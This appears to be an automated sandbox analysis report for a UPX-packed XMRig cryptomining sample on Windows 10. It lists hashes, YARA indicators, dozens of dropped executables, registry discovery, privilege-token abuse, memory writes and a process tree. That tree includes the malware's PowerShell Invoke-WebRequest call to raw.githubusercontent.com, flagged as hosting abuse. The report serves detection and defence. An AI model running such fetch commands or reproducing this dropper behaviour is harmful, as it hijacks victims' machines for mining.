xmrig | 55d5ba5e0d5ad42bc4b58a82c520f2cee37575737117cea617eedb8c25311e9e

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
28/04/2024, 08:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
Size

2.2MB
MD5

04bff3377f0a7320cb20d37f95a41248
SHA1

e9cb554d50e0691e192968bb8c627fe9fb425ac6
SHA256

55d5ba5e0d5ad42bc4b58a82c520f2cee37575737117cea617eedb8c25311e9e
SHA512

82c82a4806bb6157efca47af17843b021e80c02d0fa3b3d91f08c8b0976ed15e3bc5688dcadfe2ece50179e6d837f5ff54d91d5b909088a69034f079f548dfe2
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1Vr5s1PTWsuT9ceg:NABN

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 42 IoCs

miner

resource	yara_rule
behavioral2/memory/3224-22-0x00007FF6AFD90000-0x00007FF6B0182000-memory.dmp	xmrig
behavioral2/memory/1236-63-0x00007FF660FF0000-0x00007FF6613E2000-memory.dmp	xmrig
behavioral2/memory/2024-339-0x00007FF758CF0000-0x00007FF7590E2000-memory.dmp	xmrig
behavioral2/memory/1844-341-0x00007FF679890000-0x00007FF679C82000-memory.dmp	xmrig
behavioral2/memory/792-344-0x00007FF71FB10000-0x00007FF71FF02000-memory.dmp	xmrig
behavioral2/memory/3244-346-0x00007FF71D700000-0x00007FF71DAF2000-memory.dmp	xmrig
behavioral2/memory/4996-345-0x00007FF7F2CE0000-0x00007FF7F30D2000-memory.dmp	xmrig
behavioral2/memory/1036-343-0x00007FF6A0BA0000-0x00007FF6A0F92000-memory.dmp	xmrig
behavioral2/memory/4336-342-0x00007FF6F9CC0000-0x00007FF6FA0B2000-memory.dmp	xmrig
behavioral2/memory/1624-340-0x00007FF675660000-0x00007FF675A52000-memory.dmp	xmrig
behavioral2/memory/1800-890-0x00007FF777860000-0x00007FF777C52000-memory.dmp	xmrig
behavioral2/memory/5056-878-0x00007FF7E2C30000-0x00007FF7E3022000-memory.dmp	xmrig
behavioral2/memory/888-1397-0x00007FF669690000-0x00007FF669A82000-memory.dmp	xmrig
behavioral2/memory/4912-66-0x00007FF6EB1C0000-0x00007FF6EB5B2000-memory.dmp	xmrig
behavioral2/memory/4660-1938-0x00007FF669DB0000-0x00007FF66A1A2000-memory.dmp	xmrig
behavioral2/memory/4900-1945-0x00007FF7CCC20000-0x00007FF7CD012000-memory.dmp	xmrig
behavioral2/memory/1928-2185-0x00007FF7F1B00000-0x00007FF7F1EF2000-memory.dmp	xmrig
behavioral2/memory/1660-2186-0x00007FF60F8B0000-0x00007FF60FCA2000-memory.dmp	xmrig
behavioral2/memory/4436-2187-0x00007FF77BC90000-0x00007FF77C082000-memory.dmp	xmrig
behavioral2/memory/5060-2188-0x00007FF701D60000-0x00007FF702152000-memory.dmp	xmrig
behavioral2/memory/776-2220-0x00007FF7A99D0000-0x00007FF7A9DC2000-memory.dmp	xmrig
behavioral2/memory/3224-2245-0x00007FF6AFD90000-0x00007FF6B0182000-memory.dmp	xmrig
behavioral2/memory/1800-2247-0x00007FF777860000-0x00007FF777C52000-memory.dmp	xmrig
behavioral2/memory/888-2249-0x00007FF669690000-0x00007FF669A82000-memory.dmp	xmrig
behavioral2/memory/4660-2251-0x00007FF669DB0000-0x00007FF66A1A2000-memory.dmp	xmrig
behavioral2/memory/624-2253-0x00007FF77AA30000-0x00007FF77AE22000-memory.dmp	xmrig
behavioral2/memory/1236-2255-0x00007FF660FF0000-0x00007FF6613E2000-memory.dmp	xmrig
behavioral2/memory/4912-2257-0x00007FF6EB1C0000-0x00007FF6EB5B2000-memory.dmp	xmrig
behavioral2/memory/4900-2259-0x00007FF7CCC20000-0x00007FF7CD012000-memory.dmp	xmrig
behavioral2/memory/1660-2266-0x00007FF60F8B0000-0x00007FF60FCA2000-memory.dmp	xmrig
behavioral2/memory/4436-2262-0x00007FF77BC90000-0x00007FF77C082000-memory.dmp	xmrig
behavioral2/memory/5060-2269-0x00007FF701D60000-0x00007FF702152000-memory.dmp	xmrig
behavioral2/memory/1624-2273-0x00007FF675660000-0x00007FF675A52000-memory.dmp	xmrig
behavioral2/memory/1844-2275-0x00007FF679890000-0x00007FF679C82000-memory.dmp	xmrig
behavioral2/memory/4336-2277-0x00007FF6F9CC0000-0x00007FF6FA0B2000-memory.dmp	xmrig
behavioral2/memory/1036-2279-0x00007FF6A0BA0000-0x00007FF6A0F92000-memory.dmp	xmrig
behavioral2/memory/2024-2271-0x00007FF758CF0000-0x00007FF7590E2000-memory.dmp	xmrig
behavioral2/memory/1928-2268-0x00007FF7F1B00000-0x00007FF7F1EF2000-memory.dmp	xmrig
behavioral2/memory/776-2264-0x00007FF7A99D0000-0x00007FF7A9DC2000-memory.dmp	xmrig
behavioral2/memory/3244-2287-0x00007FF71D700000-0x00007FF71DAF2000-memory.dmp	xmrig
behavioral2/memory/4996-2286-0x00007FF7F2CE0000-0x00007FF7F30D2000-memory.dmp	xmrig
behavioral2/memory/792-2294-0x00007FF71FB10000-0x00007FF71FF02000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	3616	powershell.exe
5	3616	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
3224	HKvptSa.exe
1800	YTUZZCl.exe
888	XLEiSKp.exe
4660	lQpldld.exe
624	lTHFmRt.exe
1236	bMSZvpV.exe
4912	iKPzQRF.exe
4900	nHEPmGB.exe
1928	jfScRTT.exe
1660	xHGokNI.exe
4436	HfSrlDV.exe
5060	HiQSvIU.exe
776	qKQtSqh.exe
2024	OYeyFXG.exe
1624	DACCqYv.exe
1844	zlUtblM.exe
4336	LVLTrnw.exe
1036	gjwnETm.exe
792	QCGRlXB.exe
4996	cBVXkoG.exe
3244	ZGfKpPP.exe
4332	joFIyld.exe
5108	VbofUIW.exe
4512	Gojeprv.exe
4532	caMBlgj.exe
1084	SLMEuGP.exe
3240	YRWJbpk.exe
5064	GdlIcLu.exe
2700	zqFwNdd.exe
2132	iTmgwVV.exe
3060	asjiCmO.exe
1584	ucXesyN.exe
2076	XqzIFvk.exe
2500	fnmJWYq.exe
3076	UbOISzm.exe
1424	GrrcJgA.exe
3304	QMpVLZh.exe
3300	iKagTed.exe
1092	SseeRsY.exe
464	WXYNVYl.exe
1200	bUkuxLY.exe
2412	cCzGZvE.exe
4420	kydtYnn.exe
3272	yypExrI.exe
4448	YVtPYvC.exe
3752	kQjaVwh.exe
3220	ddtaOrn.exe
4452	zFdkBad.exe
3584	VbezaTt.exe
2080	aWZCOtS.exe
2888	pCFsSxy.exe
4144	EscUkjt.exe
1040	HkwberB.exe
2040	jBRAxpM.exe
4612	PmLppoh.exe
2572	tPVvwfB.exe
1068	wioEvjt.exe
428	bJTKeDw.exe
2404	ifCqgxW.exe
4700	OkswJEz.exe
2952	fxhDqQF.exe
4856	GkXiYnc.exe
1684	BoGmxcK.exe
3796	UlOVCYj.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5056-0-0x00007FF7E2C30000-0x00007FF7E3022000-memory.dmp	upx
behavioral2/files/0x000800000002341c-5.dat	upx
behavioral2/memory/3224-22-0x00007FF6AFD90000-0x00007FF6B0182000-memory.dmp	upx
behavioral2/memory/888-37-0x00007FF669690000-0x00007FF669A82000-memory.dmp	upx
behavioral2/files/0x0007000000023425-54.dat	upx
behavioral2/memory/4900-60-0x00007FF7CCC20000-0x00007FF7CD012000-memory.dmp	upx
behavioral2/memory/1236-63-0x00007FF660FF0000-0x00007FF6613E2000-memory.dmp	upx
behavioral2/memory/1928-73-0x00007FF7F1B00000-0x00007FF7F1EF2000-memory.dmp	upx
behavioral2/memory/1660-80-0x00007FF60F8B0000-0x00007FF60FCA2000-memory.dmp	upx
behavioral2/files/0x000700000002342a-89.dat	upx
behavioral2/memory/5060-88-0x00007FF701D60000-0x00007FF702152000-memory.dmp	upx
behavioral2/files/0x000700000002342b-96.dat	upx
behavioral2/files/0x000700000002342c-105.dat	upx
behavioral2/files/0x000700000002342e-111.dat	upx
behavioral2/files/0x0007000000023430-119.dat	upx
behavioral2/files/0x0007000000023433-134.dat	upx
behavioral2/files/0x0007000000023435-152.dat	upx
behavioral2/files/0x0007000000023438-159.dat	upx
behavioral2/files/0x0007000000023439-172.dat	upx
behavioral2/memory/2024-339-0x00007FF758CF0000-0x00007FF7590E2000-memory.dmp	upx
behavioral2/memory/1844-341-0x00007FF679890000-0x00007FF679C82000-memory.dmp	upx
behavioral2/memory/792-344-0x00007FF71FB10000-0x00007FF71FF02000-memory.dmp	upx
behavioral2/memory/3244-346-0x00007FF71D700000-0x00007FF71DAF2000-memory.dmp	upx
behavioral2/memory/4996-345-0x00007FF7F2CE0000-0x00007FF7F30D2000-memory.dmp	upx
behavioral2/memory/1036-343-0x00007FF6A0BA0000-0x00007FF6A0F92000-memory.dmp	upx
behavioral2/memory/4336-342-0x00007FF6F9CC0000-0x00007FF6FA0B2000-memory.dmp	upx
behavioral2/memory/1624-340-0x00007FF675660000-0x00007FF675A52000-memory.dmp	upx
behavioral2/memory/1800-890-0x00007FF777860000-0x00007FF777C52000-memory.dmp	upx
behavioral2/memory/5056-878-0x00007FF7E2C30000-0x00007FF7E3022000-memory.dmp	upx
behavioral2/memory/888-1397-0x00007FF669690000-0x00007FF669A82000-memory.dmp	upx
behavioral2/files/0x000700000002343e-189.dat	upx
behavioral2/files/0x000700000002343c-187.dat	upx
behavioral2/files/0x000700000002343d-184.dat	upx
behavioral2/files/0x000700000002343b-182.dat	upx
behavioral2/files/0x000700000002343a-177.dat	upx
behavioral2/files/0x0007000000023437-162.dat	upx
behavioral2/files/0x0007000000023436-157.dat	upx
behavioral2/files/0x0007000000023434-147.dat	upx
behavioral2/files/0x0007000000023432-137.dat	upx
behavioral2/files/0x0007000000023431-132.dat	upx
behavioral2/files/0x000700000002342f-122.dat	upx
behavioral2/files/0x000700000002342d-109.dat	upx
behavioral2/memory/776-94-0x00007FF7A99D0000-0x00007FF7A9DC2000-memory.dmp	upx
behavioral2/files/0x0007000000023429-91.dat	upx
behavioral2/memory/4436-86-0x00007FF77BC90000-0x00007FF77C082000-memory.dmp	upx
behavioral2/files/0x0007000000023428-83.dat	upx
behavioral2/files/0x0007000000023427-72.dat	upx
behavioral2/files/0x0007000000023426-69.dat	upx
behavioral2/memory/4912-66-0x00007FF6EB1C0000-0x00007FF6EB5B2000-memory.dmp	upx
behavioral2/files/0x0008000000023421-61.dat	upx
behavioral2/files/0x0008000000023422-58.dat	upx
behavioral2/memory/624-51-0x00007FF77AA30000-0x00007FF77AE22000-memory.dmp	upx
behavioral2/files/0x0007000000023424-46.dat	upx
behavioral2/files/0x0007000000023423-43.dat	upx
behavioral2/memory/4660-42-0x00007FF669DB0000-0x00007FF66A1A2000-memory.dmp	upx
behavioral2/files/0x0007000000023420-36.dat	upx
behavioral2/memory/1800-34-0x00007FF777860000-0x00007FF777C52000-memory.dmp	upx
behavioral2/files/0x000800000002341f-30.dat	upx
behavioral2/memory/4660-1938-0x00007FF669DB0000-0x00007FF66A1A2000-memory.dmp	upx
behavioral2/memory/4900-1945-0x00007FF7CCC20000-0x00007FF7CD012000-memory.dmp	upx
behavioral2/memory/1928-2185-0x00007FF7F1B00000-0x00007FF7F1EF2000-memory.dmp	upx
behavioral2/memory/1660-2186-0x00007FF60F8B0000-0x00007FF60FCA2000-memory.dmp	upx
behavioral2/memory/4436-2187-0x00007FF77BC90000-0x00007FF77C082000-memory.dmp	upx
behavioral2/memory/5060-2188-0x00007FF701D60000-0x00007FF702152000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\hJdporX.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\isJkQIF.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\BYKgLDV.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\NmDoacl.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\PtOFNQm.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\vrOfRRz.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\CAJOclW.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\gHcYFYA.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\iDSKvqh.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\yypExrI.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\XOWlkWO.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\HtQLsFj.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\Wifeteh.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\fmmNPJn.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\uzxwZeC.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\joFIyld.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\hwYNOWn.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\PzCYZDa.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\PVwhnhX.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\lWNPstQ.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\lZXFteW.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\GIAVvnF.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\TYxAXTi.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\GlAEBJB.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\wFVFacZ.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\qZJYgBD.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\GqvMFDR.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\PxSBEgX.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\oOFJXKe.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\cCxiZIg.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\UeMOsLH.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\MBFBaGf.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\tctpkdr.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\FLoUpbL.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\aiHIMNf.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\KPuvrrh.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\ydBEqWx.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\OIpiVcx.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\bPBxYlq.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\umqreEc.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\amFiWng.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\YTUZZCl.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\OyrfkJl.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\ObBsRMJ.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\GdlIcLu.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\KBBiYAc.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\mDKCvoD.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\RYGGVBl.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\KymRQxD.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\EbgxdmE.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\QlMLfRR.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\AlqqwLO.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\hXoeyRv.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\JZDcnxZ.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\nuzNlPs.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\ZGfKpPP.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\HkwberB.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\cknebEi.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\hJfinIC.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\FWlwDVn.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\ChbEtOD.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\iKPzQRF.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\FNakIUg.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
File created	C:\Windows\System\eVvjozJ.exe	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3616	powershell.exe
3616	powershell.exe
3616	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
Token: SeDebugPrivilege	3616	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5056 wrote to memory of 3616	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	83
PID 5056 wrote to memory of 3616	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	83
PID 5056 wrote to memory of 3224	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	84
PID 5056 wrote to memory of 3224	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	84
PID 5056 wrote to memory of 1800	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	85
PID 5056 wrote to memory of 1800	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	85
PID 5056 wrote to memory of 888	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	86
PID 5056 wrote to memory of 888	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	86
PID 5056 wrote to memory of 4660	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	87
PID 5056 wrote to memory of 4660	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	87
PID 5056 wrote to memory of 624	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	88
PID 5056 wrote to memory of 624	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	88
PID 5056 wrote to memory of 1236	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	89
PID 5056 wrote to memory of 1236	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	89
PID 5056 wrote to memory of 4912	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	90
PID 5056 wrote to memory of 4912	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	90
PID 5056 wrote to memory of 4900	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	91
PID 5056 wrote to memory of 4900	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	91
PID 5056 wrote to memory of 1928	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	92
PID 5056 wrote to memory of 1928	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	92
PID 5056 wrote to memory of 1660	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	93
PID 5056 wrote to memory of 1660	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	93
PID 5056 wrote to memory of 4436	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	94
PID 5056 wrote to memory of 4436	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	94
PID 5056 wrote to memory of 776	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	95
PID 5056 wrote to memory of 776	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	95
PID 5056 wrote to memory of 5060	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	96
PID 5056 wrote to memory of 5060	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	96
PID 5056 wrote to memory of 2024	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	97
PID 5056 wrote to memory of 2024	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	97
PID 5056 wrote to memory of 1624	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	98
PID 5056 wrote to memory of 1624	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	98
PID 5056 wrote to memory of 1844	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	99
PID 5056 wrote to memory of 1844	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	99
PID 5056 wrote to memory of 4336	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	100
PID 5056 wrote to memory of 4336	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	100
PID 5056 wrote to memory of 1036	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	101
PID 5056 wrote to memory of 1036	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	101
PID 5056 wrote to memory of 792	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	102
PID 5056 wrote to memory of 792	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	102
PID 5056 wrote to memory of 4996	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	103
PID 5056 wrote to memory of 4996	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	103
PID 5056 wrote to memory of 3244	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	104
PID 5056 wrote to memory of 3244	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	104
PID 5056 wrote to memory of 4332	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	105
PID 5056 wrote to memory of 4332	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	105
PID 5056 wrote to memory of 5108	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	106
PID 5056 wrote to memory of 5108	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	106
PID 5056 wrote to memory of 4512	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	107
PID 5056 wrote to memory of 4512	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	107
PID 5056 wrote to memory of 4532	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	108
PID 5056 wrote to memory of 4532	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	108
PID 5056 wrote to memory of 1084	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	109
PID 5056 wrote to memory of 1084	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	109
PID 5056 wrote to memory of 3240	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	110
PID 5056 wrote to memory of 3240	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	110
PID 5056 wrote to memory of 5064	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	111
PID 5056 wrote to memory of 5064	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	111
PID 5056 wrote to memory of 2700	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	112
PID 5056 wrote to memory of 2700	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	112
PID 5056 wrote to memory of 2132	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	113
PID 5056 wrote to memory of 2132	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	113
PID 5056 wrote to memory of 3060	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	114
PID 5056 wrote to memory of 3060	5056	04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe	114

C:\Users\Admin\AppData\Local\Temp\04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\04bff3377f0a7320cb20d37f95a41248_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3616
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "3616" "2968" "2956" "2972" "0" "0" "2976" "0" "0" "0" "0" "0"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:2436
- C:\Windows\System\HKvptSa.exe
  C:\Windows\System\HKvptSa.exe
  2⤵
  - Executes dropped EXE
  PID:3224
- C:\Windows\System\YTUZZCl.exe
  C:\Windows\System\YTUZZCl.exe
  2⤵
  - Executes dropped EXE
  PID:1800
- C:\Windows\System\XLEiSKp.exe
  C:\Windows\System\XLEiSKp.exe
  2⤵
  - Executes dropped EXE
  PID:888
- C:\Windows\System\lQpldld.exe
  C:\Windows\System\lQpldld.exe
  2⤵
  - Executes dropped EXE
  PID:4660
- C:\Windows\System\lTHFmRt.exe
  C:\Windows\System\lTHFmRt.exe
  2⤵
  - Executes dropped EXE
  PID:624
- C:\Windows\System\bMSZvpV.exe
  C:\Windows\System\bMSZvpV.exe
  2⤵
  - Executes dropped EXE
  PID:1236
- C:\Windows\System\iKPzQRF.exe
  C:\Windows\System\iKPzQRF.exe
  2⤵
  - Executes dropped EXE
  PID:4912
- C:\Windows\System\nHEPmGB.exe
  C:\Windows\System\nHEPmGB.exe
  2⤵
  - Executes dropped EXE
  PID:4900
- C:\Windows\System\jfScRTT.exe
  C:\Windows\System\jfScRTT.exe
  2⤵
  - Executes dropped EXE
  PID:1928
- C:\Windows\System\xHGokNI.exe
  C:\Windows\System\xHGokNI.exe
  2⤵
  - Executes dropped EXE
  PID:1660
